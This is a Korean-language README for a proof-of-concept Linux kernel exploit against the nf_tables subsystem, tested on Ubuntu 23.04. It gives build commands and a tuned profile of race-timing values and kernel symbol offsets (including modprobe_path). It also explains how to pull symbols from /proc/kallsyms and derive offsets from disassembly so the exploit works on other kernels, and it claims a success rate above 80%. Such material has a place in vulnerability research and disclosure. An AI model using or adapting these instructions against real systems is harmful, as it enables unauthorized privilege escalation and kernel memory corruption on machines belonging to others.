
자체 사용용, PoC 작성자는 Piotr Krysiuk이며, 사용 전에 먼저 README.md를 읽어주세요.
아래 지침은 Ubuntu 23.04(Lunar Lobster)에서 테스트되었습니다.
빌드 종속성을 설치하려면 다음 명령을 실행하십시오:
sudo apt install gcc libmnl-dev libnftnl-dev
PoC 바이너리를 빌드하려면 다음 명령을 실행하십시오:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
내장 프로파일에는 Ubuntu 23.04(Lunar Lobster)에서 다음 패키지로 바이너리 형태로 배포되는 Linux 커널에 특화된 매개변수가 포함되어 있습니다:
내장 프로파일은 다음과 같습니다:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
다른 Linux 커널로 테스트할 때 내장 프로파일을 재정의하는 선택적 단계:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
커널 베이스를 찾기 위해 커널 메모리에서 nf_tables.ko 이미지를 검사합니다. 특히, nft_counter_destroy() 서브루틴의 머신 코드를 분석합니다. 이는 우리의 방법이 컴파일러 및 컴파일 옵션에 민감하다는 것을 의미합니다. 그러나 일반적인 모든 경우는 내장 프로파일을 재정의하여 처리할 수 있습니다.
예를 들어, nft_counter_destroy() 서브루틴의 머신 코드는 다음과 같을 수 있습니다:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
위의 경우 구성 파일 "profile"에 아래 세 줄을 추가하여 몇 가지 매개변수를 지정할 수 있습니다.
먼저, free_percpu 변위(displacement) 앞에 있는 dword의 오프셋을 재정의합니다:
5 nft_counter_destroy_call_offset # hex
여기서 값 5는 표현식 (1e31d - 1e310) - 8을 사용하여 계산되었습니다.
정합성 검사로, 다음 마스크를 사용하여 위 오프셋의 dword를 검증합니다:
ffffffff nft_counter_destroy_call_mask # hex
다음 값을 기대합니다:
e9087e8b nft_counter_destroy_call_check # hex
취약점을 악용하려면 Linux 커널의 백그라운드 워커 스레드와의 레이스에서 이겨야 합니다. 내장 프로파일은 모바일 Sandy Bridge 및 데스크톱 Comet Lake를 포함한 광범위한 Intel 마이크로프로세서에서 해당 레이스에서 이길 확률을 최대화하도록 튜닝되었습니다. 그러나 일부 마이크로프로세서는 추가 튜닝이 필요합니다. 예를 들어, 특정 설정의 Alder Lake에서 작업 전환 대기 시간이 증가하는 것을 관찰했으며, 이 경우 "profile"에 다음 줄을 추가해야 할 수 있습니다:
400 race_lead_sleep
유휴 상태의 베어메탈 시스템을 사용한 테스트에서 취약점 악용 성공 확률을 80% 이상으로 측정했습니다.
취약한 시스템에서 PoC를 시작하면 커널 메모리가 손상되어 해당 시스템이 불안정한 상태로 남을 수 있습니다. 잠재적인 데이터 손상을 방지하기 위해 전용 시스템에서 PoC를 테스트할 것을 강력히 권장합니다.